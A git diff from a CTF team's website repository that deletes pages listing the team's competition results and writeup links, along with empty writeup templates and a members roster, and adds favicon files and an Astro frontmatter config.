flags, and scores. -- Total focus on writing exploits. -- Open source with an MIT license. - -## ❤️ Special Thanks - -Huge shoutout to the ByteTheCookies team for building a performance-driven, distraction-free environment tailored for real CTF scenarios in particular to @akiidjk @suga @vympel7 @Dabi1290. diff --git a/content/writeups/Ulisse2025.md b/content/writeups/Ulisse2025.md deleted file mode 100644 index ded7c2bb..00000000 --- a/content/writeups/Ulisse2025.md +++ /dev/null @@ -1,37 +0,0 @@ -+++ -title = 'Ulisse CTF 2025' -author = "ByteTheCookies" -description = "" -date = 2025-04-08T17:54:49+02:00 -tags = [ - "CTF", - "Team Ulisse", - "Cybercup 2025", - "Italy", -] -type = 'list' -+++ - -# Ulisse CTF 2025 - -## Description - -Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. -Open to participants of all skill levels, it aims to provide a learning experience for everyone! - -- [Url](https://2025.ulis.se/) -- [Discord](https://discord.gg/6XuupsVbh9) - -## Performance Summary - -- **CTFs**: 12/29 -- **Total points**: 1923.000 -- **Position**: 11/169 -- **Rating points**: 8.533 - -## Writeups - -#### Web - -- [Telemetry](/writeups/ulisse2025/telemetry) -- [StackBank 1](/writeups/ulisse2025/stackbank1) diff --git a/content/writeups/_index.md b/content/writeups/_index.md deleted file mode 100644 index 2bbcfbeb..00000000 --- a/content/writeups/_index.md +++ /dev/null @@ -1,5 +0,0 @@ -+++ -title = 'Writeup' -type = 'postcard' -+++ - diff --git a/content/writeups/cornctf2025.md b/content/writeups/cornctf2025.md deleted file mode 100644 index 702700d6..00000000 --- a/content/writeups/cornctf2025.md +++ /dev/null @@ -1,44 +0,0 @@ -+++ -title = 'CornCTF 2025' -author = "ByteTheCookies" -description = "A CTF by a friendly team of farmers. Includes challenges of the following categories: crypto, pwn, web, reverse engineering, forensics, misc, and more." -date = 2025-06-23T18:30:32+02:00 -tags = [ - "CTF", - "CyberCup2025", - "Web", - "Crypto", - "Pwn", - "Reverse Engineering", - "Misc", - "Pwnlentoni" -] -type = 'list' -+++ - -# CornCTF 2025 - -## Description - -A CTF by a friendly team of farmers. Includes challenges of the following categories: - -- [Url](https://play.cornc.tf/) -- [Discord](https://discord.com/invite/462EjTVR?utm_source=Discord%20Widget&utm_medium=Connect) - -## Performance Summary - -- **CTFs**: 8/22 -- **Total points**: 1966 -- **Position**: 9/270 -- **Rating points**: 8.811 - -## Writeups - -#### Crypto - -- [ECRSA](/writeups/cornctf2025/ecrsa/) - -#### Web - -- [Aeronaut](/writeups/cornctf2025/aeronaut/) -- [Simple-chat](/writeups/cornctf2025/simple-chat/) diff --git a/content/writeups/cyberspace2024.md b/content/writeups/cyberspace2024.md deleted file mode 100644 index 05713202..00000000 --- a/content/writeups/cyberspace2024.md +++ /dev/null @@ -1,50 +0,0 @@ -+++ -title = 'CyberSpace CTF 2024' -author = "ByteTheCookies" -description = "Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf!" -date = 2024-09-02T10:52:16+02:00 -tags = [ - "CTF", - "Cyberspace", - "Crypto", - "Web", - "Forensics", - "Reverse", - "Pwn", - "Beginner", - "Jail", -] -type = 'list' -+++ - -# CyberSpace CTF 2024 - -## Description - -Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! - -- [Url](https://2024.csc.tf!) -- [Discord](https://discord.csc.tf/) - -## Performance Summary - -- **CTFs**: 21/63 -- **Total points**: 2032 -- **Position**: 83/830 -- **Rating points**: 3.355 - -## Writeups - -#### Crypto - -- [trendy windy trigonity](/writeups/cyberspace2024/trendy_windy_trigonity) - -#### Web - -- [ZipZone](/writeups/cyberspace2024/zipzone) -- [FeatureUnlocked](/writeups/cyberspace2024/feature_unlocked) -- [Trendz (part 1 and 2)](/writeups/cyberspace2024/trendz) - -#### Rev - -- [Snake](/writeups/cyberspace2024/snake) diff --git a/content/writeups/idekCTF2024.md b/content/writeups/idekCTF2024.md deleted file mode 100644 index e72143e5..00000000 --- a/content/writeups/idekCTF2024.md +++ /dev/null @@ -1,38 +0,0 @@ -+++ -title = 'IdekCTF 2024' -author = "ByteTheCookies" -description = "idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories." -date = 2024-08-18T12:58:37+02:00 -tags = [ - "CTF", - "Idek", - "Web", - "Crypto", - "Misc", - "Reverse", - "Pwn", -] -type = 'list' -+++ - -# IdekCTF 2024 - -## Description - -idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. - -- [Url](https://ctf.idek.team/) -- [Discord](https://discord.gg/c7w4gKMnAX) - -## Performance Summary - -- **CTFs**: 6/35 -- **Total points**: 732 -- **Position**: 101/1070 -- **Rating points**: 5.405 - -## Writeups - -#### Web - -- [Hello](/writeups/idekctf2024/hello/) diff --git a/content/writeups/ironctf2024.md b/content/writeups/ironctf2024.md deleted file mode 100644 index 5da24aaa..00000000 --- a/content/writeups/ironctf2024.md +++ /dev/null @@ -1,52 +0,0 @@ -+++ -title = 'IRON CTF 2024' -author = "ByteTheCookies" -description = "Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)!" -date = 2024-10-06T13:48:21+02:00 -tags = [ - "CTF", - "Web", - "Crypto", - "Android", - "GameHacking", - "Pwn", - "Rev", - "Misc" -] -type = 'blank' -+++ - -# IRON CTF 2024 - -## Description - -Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! - -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you're just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. - -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - -Good luck, and happy hacking! - -- [Url](https://ctf.1nf1n1ty.team/) -- [Discord](https://discord.com/invite/e6yRKphmuU) - -## Performance Summary - -- **CTFs**: 14/55 -- **Total points**: 4769 -- **Position**: 41/1033 -- **Rating points**: 7.644 - -## Writeups - -#### Web - -- [Loan App](/writeups/ironctf2024/loan_app) -- [B64SiteViewer](/writeups/ironctf2024/b64siteviewer) -- [MovieReviewApp](/writeups/ironctf2024/moviereviewapp) - -#### Crypto - -- [Rivest, Shamir, Adleman 1](/writeups/ironctf2024/rivest_shamir_adleman_1) -- [Rivest, Shamir, Adleman 2](/writeups/ironctf2024/rivest_shamir_adleman_2) diff --git a/content/writeups/k1ndasus2025.md b/content/writeups/k1ndasus2025.md deleted file mode 100644 index e2de9bf4..00000000 --- a/content/writeups/k1ndasus2025.md +++ /dev/null @@ -1,35 +0,0 @@ -+++ -title = 'K!nd4SUS CTF 2025' -author = "ByteTheCookies" -description = "K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges!" -date = 2025-03-24T12:58:37+02:00 -tags = [ - "CTF", - "Italy", - "Team K1ndasus", - "Cybercup 2025" -] -type = 'list' -+++ - -# K!nd4SUS CTF 2025 - -## Description - -K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. -The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! - -- [Url](https://ctf.k1nd4sus.it/) - -## Performance Summary - -- **CTFs**: 10/? -- **Total points**: 2462 -- **Position**: 16/207 -- **Rating points**: 6.059 - -## Writeups - -#### Crypto - -- [Key in the haystack](/writeups/k1ndasus2025/keyinthehaystack/) diff --git a/content/writeups/l3akctf2025.md b/content/writeups/l3akctf2025.md deleted file mode 100644 index e4901ad2..00000000 --- a/content/writeups/l3akctf2025.md +++ /dev/null @@ -1,43 +0,0 @@ -+++ -title = 'L3akCTF 2025' -author = "ByteTheCookies" -description = "Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc." -date = 2025-07-17T17:51:20+02:00 -tags = [ - "CTF", - "crypto", - "web", - "rev", - "pwn", - "forensics", - "osint", - "mobile", - "hardware/rf", - "hash cracking", - "misc" -] -type = 'list' -+++ - -# L3akCTF 2025 - -## Description - -Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. -10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. - -- [Url](https://ctf.l3ak.team/) -- [Discord](https://discord.gg/wjSVdt3a7G) - -## Performance Summary - -- **CTFs**: 19/65 -- **Total points**: 950 -- **Position**: 201/1587 -- **Rating points**: 1.725 - -## Writeups - -#### Hardware - -- [Beneath the Surface](/writeups/l3akctf2025/beneath-the-surface/) diff --git a/content/writeups/litctf2024.md b/content/writeups/litctf2024.md deleted file mode 100644 index b6fe723f..00000000 --- a/content/writeups/litctf2024.md +++ /dev/null @@ -1,39 +0,0 @@ -+++ -title = 'Lexington Informatics Tournament CTF 2024' -author = "ByteTheCookies" -description = "Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that's open to everyone." -date = 2024-08-13T12:20:57+02:00 -tags = [ - "CTF", - "Litc", - "Web", - "Crypto", - "Osint", - "Misc", - "Pwn", - "Reverse" -] -type = 'list' -+++ - -# Lexington Informatics Tournament CTF - -## Description - -Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that's open to everyone. - -- [Url](https://lit.lhsmathcs.org/) -- [Discord](https://discord.gg/k6yzFdZ) - -## Performance Summary - -- **CTFs**: 18/32 -- **Total points**: 2068 -- **Position**: 95/830 -- **Rating points**: 19.095 - -## Writeups - -#### Web - -- [Kirbytime](/writeups/litctf2024/kirbytime/) diff --git a/content/writeups/m0lecon2025Teaser.md b/content/writeups/m0lecon2025Teaser.md deleted file mode 100644 index 2e6e8525..00000000 --- a/content/writeups/m0lecon2025Teaser.md +++ /dev/null @@ -1,32 +0,0 @@ -+++ -title = 'm0leCon CTF 2025 Teaser' -author = "ByteTheCookies" -description = "m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino." -date = 2024-09-15T12:59:51+02:00 -tags = [ - "CTF", -] -type = 'list' -+++ - -# m0leCon CTF 2025 Teaser - -## Description - -m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino. - -- [Url](https://ctf.m0lecon.it/) -- [Discord](https://discord.gg/sqA2pzm4Q7) - -## Performance Summary - -- **CTFs**: 1/18 -- **Total points**: 100 -- **Position**: 71/500 -- **Rating points**: 2.920 - -## Writeups - -#### Crypto - -- [Yet Another OT](/writeups/m0lecon2025teaser/yetanotherot) diff --git a/content/writeups/m0lecon2025beginner.md b/content/writeups/m0lecon2025beginner.md deleted file mode 100644 index 584680f2..00000000 --- a/content/writeups/m0lecon2025beginner.md +++ /dev/null @@ -1,48 +0,0 @@ -+++ -title = 'm0leCon 2025 Beginner CTF' -author = "ByteTheCookies" -description = "Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025." -date = 2024-12-22T22:11:36+01:00 -tags = [ - "CTF", - "Web", - "Crypto", - "Rev", - "Misc", - "Pwn", -] -type = 'list' -+++ - -# m0leCon 2025 Beginner CTF - -## Description - -Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. - -Challenges are targeted to newcomers and students. - -Team size limit is 4 people per team. - -The m0leCon Beginner CTF will not award rating points on CTFTime. - -- [Url](https://beginner.m0lecon.it/) -- [Discord](https://discord.gg/Wjr7UKPMuy) - -## Performance Summary - -- **CTFs**: 18/20 -- **Total points**: 2700 -- **Position**: 2/385 -- **Rating points**: 0.0 - -## Writeups - -#### Crypto - -- [Small Auth](/writeups/m0lecon2025beginner/smallauth) - -#### Web - -- [Go Secure It](/writeups/m0lecon2025beginner/gosecureit) -- [ImgPlace](/writeups/m0lecon2025beginner/imgplace) diff --git a/content/writeups/m0lecon2025beginner/droidcryptor.md b/content/writeups/m0lecon2025beginner/droidcryptor.md deleted file mode 100644 index 2878628c..00000000 --- a/content/writeups/m0lecon2025beginner/droidcryptor.md +++ /dev/null @@ -1,51 +0,0 @@ -+++ -title = 'DroidCryptor' -tags = [ - "Reverse", - "Kotlin", - "144 points", - "25 solves", - "dadadani", -] -date = 2024-12-23T16:51:39+01:00 -draft = true -+++ - - - -

DroidCryptor

- -**Description**: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? - -## Introduction - -... - -## Source - -... - -```python -# filename: file.py - - - -``` - -... - -## Solution - -... - -```python -# filename: file.py - - - -``` - -```stdout -$ flag: flag{redacted} -``` -

Author: ...

diff --git a/content/writeups/m0lecon2025beginner/lockeddoor.md b/content/writeups/m0lecon2025beginner/lockeddoor.md deleted file mode 100644 index 900d7ba9..00000000 --- a/content/writeups/m0lecon2025beginner/lockeddoor.md +++ /dev/null @@ -1,50 +0,0 @@ -+++ -title = 'Locked Door' -tags = [ - "Web", - "Python", - "50 points", - "79 solves", - "meni", -] -date = 2024-12-23T16:55:16+01:00 -draft = true -+++ - - -

Locked Door

- -**Description**: In front of you stands a door with a digital terminal. Will you be able to open it? - -## Introduction - -... - -## Source - -... - -```python -# filename: file.py - - - -``` - -... - -## Solution - -... - -```python -# filename: file.py - - - -``` - -```stdout -$ flag: flag{redacted} -``` -

Author: ...

diff --git a/content/writeups/n00bzctf2024.md b/content/writeups/n00bzctf2024.md deleted file mode 100644 index 9bd5c7de..00000000 --- a/content/writeups/n00bzctf2024.md +++ /dev/null @@ -1,43 +0,0 @@ -+++ -title = 'N00bzCTF 2024' -author = "ByteTheCookies" -description = "A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz." -date = 2024-08-05T18:26:54+02:00 -tags = [ - "CTF", - "N00bz", - "Web", - "Crypto", - "Osint", - "Misc", - "Pwn", - "Reverse" -] -type = 'list' -+++ - -# N00bz CTF 2024 - -## Description - -A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. - -- [Url](https://ctf.n00bzunit3d.xyz/) -- [Discord](https://discord.gg/Kze7sjpgf7) - -## Performance Summary - -- **CTFs**: 31/32 -- **Total points**: 9794.000 -- **Position**: 24/967 -- **Rating points**: 24.067 - -## Writeups - -#### Web - -- [File Sharing Portal](/writeups/noobzctf2024/filesharingportal/) - -#### Misc - -- [Waas](/writeups/noobzctf2024/waas/) diff --git a/content/writeups/patriotctf2024.md b/content/writeups/patriotctf2024.md deleted file mode 100644 index 77477744..00000000 --- a/content/writeups/patriotctf2024.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = 'PatriotCTF 2024' -author = "ByteTheCookies" -description = "PatriotCTF is an online jeopardy-style CTF hosted by George Mason University's Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone." -date = 2024-09-27T17:24:46+02:00 -tags = [ - "CTF", - "Web", - "Reverse", - "Crypto", - "Pwn", - "Misc", - "Osint", -] -type = 'list' -+++ - -# Patrioc CTF 2024 - -## Description - -PatriotCTF is an online jeopardy-style CTF hosted by George Mason University's Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. - -- [Url](https://competitivecyber.club/patriotctf/) -- [Discord](https://discord.gg/Z8pA43vQcW) - -## Performance Summary - -- **CTFs**: 32/65 -- **Total points**: 5308 -- **Position**: 63/1360 -- **Rating points**: 9.735 - -## Writeups - -No writeups today... diff --git a/content/writeups/sekaictf2024.md b/content/writeups/sekaictf2024.md deleted file mode 100644 index 1e769931..00000000 --- a/content/writeups/sekaictf2024.md +++ /dev/null @@ -1,48 +0,0 @@ -+++ -title = 'SekaiCTF 2024' -author = "ByteTheCookies" -description = "SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side." -date = 2024-08-26T16:58:34+02:00 -tags = [ - "CTF", - "Sekai", - "Crypto", - "Web", - "Reverse", - "Pwn", - "PPC", - "Blockchain", - "Misc", -] -type = 'list' -+++ - -# SekaiCTF 2024 - -## Description - -SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. - -- [Url](https://ctf.sekai.team/) -- [Discord](https://ctf.sekai.team/) - -## Performance Summary - -- **CTFs**: 3/34 -- **Total points**: 369 -- **Position**: 136/1230 -- **Rating points**: 2.721 - -## Writeups - -#### Rev - -- [CrackMe](/writeups/sekaictf2024/crackme) - -#### Crypto - -- [Some trick](/writeups/sekaictf2024/sometrick) - -#### PPC (Professional Programming & Coding) - -- [Miku vs. Machine](/writeups/sekaictf2024/mikuvsmachine) diff --git a/content/writeups/srdnlen2025.md b/content/writeups/srdnlen2025.md deleted file mode 100644 index eb112785..00000000 --- a/content/writeups/srdnlen2025.md +++ /dev/null @@ -1,44 +0,0 @@ -+++ -title = 'Srdnlen CTF 2025' -author = "ByteTheCookies" -description = "This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics." -date = 2025-03-10T18:56:14+01:00 -tags = [ - "CTF", - "Italy", - "Cybercup 2025", - "Team Srdnlen" -] -type = 'list' -+++ - -# Srdnlen CTF 2025 - -## Description - -Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. - -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. - -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) - -- [Url](https://ctf.srdnlen.it/) -- [Discord](discord_link) - -## Performance Summary - -- **CTFs**: n/M -- **Total points**: 270.0 -- **Position**: 98/848 -- **Rating points**: 2.145 - -## Writeups - -#### Web - -- [Speed](/writeups/srdnlen2025/speed) -- [Ben10](/writeups/srdnlen2025/ben10) - -#### Crypto - -- [Confusion](/writeups/srdnlen2025/confusion) diff --git a/content/writeups/trx2025.md b/content/writeups/trx2025.md deleted file mode 100644 index b154cdd9..00000000 --- a/content/writeups/trx2025.md +++ /dev/null @@ -1,41 +0,0 @@ -+++ -title = 'TRX CTF 2025' -author = "ByteTheCookies" -description = "TheRomanXpl0it is pleased to announce TRX CTF 2025!" -date = 2025-03-10T18:57:11+01:00 -tags = [ - "CTF", - "Italy", - "Cybercup 2025", - "Team TRX" -] -type = 'list' -+++ - -# TRX CTF 2025 - -## Description - -TheRomanXpl0it is pleased to announce TRX CTF 2025! - -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. - -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! - -We hope you'll have fun playing the competition! - -- [Url](https://ctf.theromanxpl0.it/) -- [Discord](https://discord.gg/nvT9czmxjH) - -## Performance Summary - -- **CTFs**: n/M -- **Total points**: 605.000 -- **Position**: 57/550 -- **Rating points**: 2.354 - -## Writeups - -#### Web - -- [Online Python Editor](/writeups/trx2025/onlinepythoneditor) diff --git a/content/writeups/ulisse2025/stackbank1.md b/content/writeups/ulisse2025/stackbank1.md deleted file mode 100644 index 9a62dc87..00000000 --- a/content/writeups/ulisse2025/stackbank1.md +++ /dev/null @@ -1,51 +0,0 @@ -+++ -title = 'StackBank 1' -tags = [ - "Web", - "JavaScript", - "Prototype pollution", - "388 points", - "10 solves", - "AlBovo", -] -date = 2025-04-08T18:05:15+02:00 -draft = true -+++ - -⚠️ WORKING IN PROGRESS - -

StackBank 1

- -**Description**: This bank🏦 will let you ~~legally~~ launder your dirty money, so you can live the high life in Dubai 🤑. - -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. - -## Introduction - -... - -## Source - -... - -```python -# filename: file.py - - - -``` - -... - -## Solution - -... - -```python -# filename: file.py - - - -``` - -

Author: akiidjk

diff --git a/content/writeups/wwfctf2025.md b/content/writeups/wwfctf2025.md deleted file mode 100644 index 8f3bedce..00000000 --- a/content/writeups/wwfctf2025.md +++ /dev/null @@ -1,43 +0,0 @@ -+++ -title = 'Word Wide Flag CTF 2025' -author = "ByteTheCookies" -description = "Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025!" -date = 2025-07-29T09:09:33+02:00 -tags = [ - "CTF", - "Web", - "Misc", - "Forensics", - "Crypto", - "Pwn", - "Reversing", - "Blockchain", -] -type = 'list' -+++ - -# World Wide CTF 2025 - -## Description - -Hack, solve, and conquer — a CTF designed to challenge minds of all levels. -World Wide Flags is back this year with World Wide CTF 2025! - -More Prizes, More Categories, and Much More Fun! - -- [Url](https://wwfctf.com) -- [Discord](https://discord.gg/guwaGy3ftN) - -## Performance Summary - -- **CTFs**: 20/57 -- **Total points**: 6537 -- **Position**: 24/850 -- **Rating points**: 12.510 - -## Writeups - -#### Web & Web3 - -- [Blank Login](/writeups/wwfctf2025/blank-login/) -- [Solidity Jail 1](/writeups/wwfctf2025/solidity-jail1/) diff --git a/data/members.toml b/data/members.toml deleted file mode 100644 index cb2e6985..00000000 --- a/data/members.toml +++ /dev/null @@ -1,154 +0,0 @@ -[[members]] -image = "icons/cookie.svg" -name = "Davide Amoruso" -github = "https://github.com/Dabi1290" -handle = "@bl4ck_sky" -role = "University of Salerno" -categories = ["Osint", "Crypto", "Web","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x5da0ffefda8e0da8221a8bb19fd14e67d212c892eda71138afc72c86d8babf27" - -[[members]] -image = "icons/logo.png" -name = "Francesco Memoli" -github = "https://github.com/akiidjk" -handle = "@akiidjk" -role = "University of Salerno" -categories = ["Web","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x539390b9a6dbea5f1583c52ee2d6aa19c091cd9b6ec1468d472548d84099b91d" - -[[members]] -image = "icons/cookie.svg" -name = "Vito Altieri" -github = "https://github.com/vympel7" -handle = "@vympel" -role = "University of Salerno" -categories = ["Crypto","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0xb1d5a30d306a99132d12fccf16832af40c979ff66b4706a459cde1e5babf997f" - -[[members]] -image = "icons/cookie.svg" -name = "Alessandro Cavaliere" -github = "https://github.com/Alessandro-Cavaliere" -handle = "@galexela" -role = "University of Salerno" -categories = ["Web", "Block","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x26f9f3fdb43acb0797873c6df56733155a31e88174a05c59d4094a936708b15c" - -[[members]] -image = "icons/cookie.svg" -name = "Daniele Migliore" -github = "https://github.com/danmig06" -handle = "@the_dann" -role = "University of Salerno" -categories = ["Rev", "Pwn","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0xc0020ff75f7c2fda0f00a619248ee815e955ffc12dd8933f1ec876aa02b4916c" - -[[members]] -image = "icons/cookie.svg" -name = "Jose Sgariglia" -github = "https://github.com/jose-sgariglia" -handle = "@josekonpyuta" -role = "University of Salerno" -categories = ["Crypto","Misc","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0xe65416c77415bad27e218c32d8d521e50a81b3167b7d7f49f8a1f72dee6a45db" - -[[members]] -image = "icons/cookie.svg" -name = "Salvatore Ruocco" -github = "https://github.com/tatore02" -handle = "@tatore" -role = "University of Salerno" -categories = ["Web", "Pwn","OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x2319ee9736b266fb20a4476e322467b9d95ffbf33d4fee503bf6218807a7486a" - -[[members]] -image = "icons/cookie.svg" -name = "Antonio Facchiano" -github = "https://github.com/s1mpl3ss0" -handle = "@simplesso" -role = "University of Salerno" -categories = ["Rev","Pwn"] -link_etherscan = "https://holesky.etherscan.io/tx/0xd63470e95c386e6cf22e66f388c6a19dd15148b108728a457a0a01e2325152b2" - -[[members]] -image = "icons/cookie.svg" -name = "Giulio Incoronato" -github = "https://github.com/ShackWove" -handle = "@shackwove" -role = "University of Salerno" -categories = ["Web"] -link_etherscan = "https://holesky.etherscan.io/tx/0x6d9aefecc9eae57593b3847a5db94d894dd88b8e1ef269990b9d2a132e08ec1b" - -[[members]] -image = "icons/logo.png" -name = "Giorgio" -github = "https://github.com/Giorgionepanettone" -handle = "@ebreo" -role = "Sapienza University of Rome" -categories = ["Pwn","Rev"] -link_etherscan = "https://holesky.etherscan.io/tx/0x5ef1b11c204e9067a8cb2980e46d060ce43d5a2a7ed04371cd48912f2361df05" - -[[members]] -image = "icons/cookie.svg" -name = "Alessandro Manfredi" -github = "https://github.com/Unnomechebho" -handle = "@unnomechbeho" -role = "University of Salerno" -categories = ["Web"] -link_etherscan = "https://holesky.etherscan.io/tx/0x291c471803531c13051949a2af606f79b65ffcf30f33a72379da361a4bb93885" - -[[members]] -image = "icons/cookie.svg" -name = "Luigi Landi" -github = "https://github.com/landiluigi746" -handle = "@landiluigi746" -role = "HighSchool student" -categories = ["Pwn"] -link_etherscan = "https://holesky.etherscan.io/tx/0x6e285a4a04271402955de47371d782fe5e19161c183dcfd478d87887cdc456c7" - -[[members]] -image = "icons/cookie.svg" -name = "Dennis Amiranda" -github = "https://github.com/demr64" -handle = "@demr" -role = "University of Salerno" -categories = ["Crypto"] -link_etherscan = "https://holesky.etherscan.io/tx/0x6e285a4a04271402955de47371d782fe5e19161c183dcfd478d87887cdc456c7" - -[[members]] -image = "icons/cookie.svg" -name = "Walter D'Ambrosio" -github = "https://github.com/wXlter" -handle = "@wXlter" -role = "University of Salerno" -categories = ["OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x458335190a60576f9ba8a98c1d7b004371fa73f97e86a55b2ca62800d1f2a533" - -[[members]] -image = "icons/cookie.svg" -name = "Salvatore Russo" -github = "https://github.com/sasa71" -handle = "@sasy" -role = "University of Salerno" -categories = ["OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x5d7495405229da6ce2943f049c51b2b3dbbbd83bf084d61847c5fed39db72b3e" - - -[[members]] -image = "icons/cookie.svg" -name = "Daniele Liguori" -github = "https://github.com/danlig" -handle = "@danlig" -role = "University of Salerno" -categories = ["OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x64e265b0a5442cfc58c0c678fee6fe189dd82389e6ee9b8bf20c3a6e18f67520" - - -[[members]] -image = "icons/cookie.svg" -name = "Marco Santoriello" -github = "https://github.com/marcosantoriello" -handle = "@marcus" -role = "University of Salerno" -categories = ["OG"] -link_etherscan = "https://holesky.etherscan.io/tx/0x5d840ec9fc642aeba6e8cadecbadb3951e115593324c25535d0d16e8efb54caf" diff --git a/favicon/favicon-dark-128.png b/favicon/favicon-dark-128.png new file mode 100644 index 00000000..7422ce82 Binary files /dev/null and b/favicon/favicon-dark-128.png differ diff --git a/favicon/favicon-dark-180.png b/favicon/favicon-dark-180.png new file mode 100644 index 00000000..de0f89b1 Binary files /dev/null and b/favicon/favicon-dark-180.png differ diff --git a/favicon/favicon-dark-192.png b/favicon/favicon-dark-192.png new file mode 100644 index 00000000..e8d4a2de Binary files /dev/null and b/favicon/favicon-dark-192.png differ diff --git a/favicon/favicon-dark-32.png b/favicon/favicon-dark-32.png new file mode 100644 index 00000000..fce9b80a Binary files /dev/null and b/favicon/favicon-dark-32.png differ diff --git a/favicon/favicon-light-128.png b/favicon/favicon-light-128.png new file mode 100644 index 00000000..83dc7c7b Binary files /dev/null and b/favicon/favicon-light-128.png differ diff --git a/favicon/favicon-light-180.png b/favicon/favicon-light-180.png new file mode 100644 index 00000000..bbb666be Binary files /dev/null and b/favicon/favicon-light-180.png differ diff --git a/favicon/favicon-light-192.png b/favicon/favicon-light-192.png new file mode 100644 index 00000000..28535948 Binary files /dev/null and b/favicon/favicon-light-192.png differ diff --git a/favicon/favicon-light-32.png b/favicon/favicon-light-32.png new file mode 100644 index 00000000..327ee0bb Binary files /dev/null and b/favicon/favicon-light-32.png differ diff --git a/public/favicon.ico b/favicon/favicon.ico similarity index 100% rename from public/favicon.ico rename to favicon/favicon.ico diff --git a/frontmatter.json b/frontmatter.json new file mode 100644 index 00000000..14aaa11b --- /dev/null +++ b/frontmatter.json @@ -0,0 +1,72 @@ +{ + "$schema": "https://frontmatter.codes/frontmatter.schema.json", + "frontMatter.framework.id": "astro", + "frontMatter.preview.host": "http://localhost:4321", + "frontMatter.content.publicFolder": "public", + "frontMatter.content.pageFolders": [ + { + "title": "posts", + "path": "[[workspace]]/src/content/posts" + } + ], + "frontMatter.taxonomy.contentTypes": [ + { + "name": "default", + "pageBundle": true, + "previewPath": "'blog'", + "filePrefix": null, + "clearEmpty": true, + "fields": [ + { + "title": "title", + "name": "title", + "type": "string", + "single": true + }, + { + "title": "description", + "name": "description", + "type": "string" + }, + { + "title": "published", + "name": "published", + "type": "datetime", + "default": "{{now}}", + "isPublishDate": true + }, + { + "title": "preview", + "name": "image", + "type": "image", + "isPreviewImage": true + }, + { + "title": "tags", + "name": "tags", + "type": "list" + }, + { + "title": "authors", + 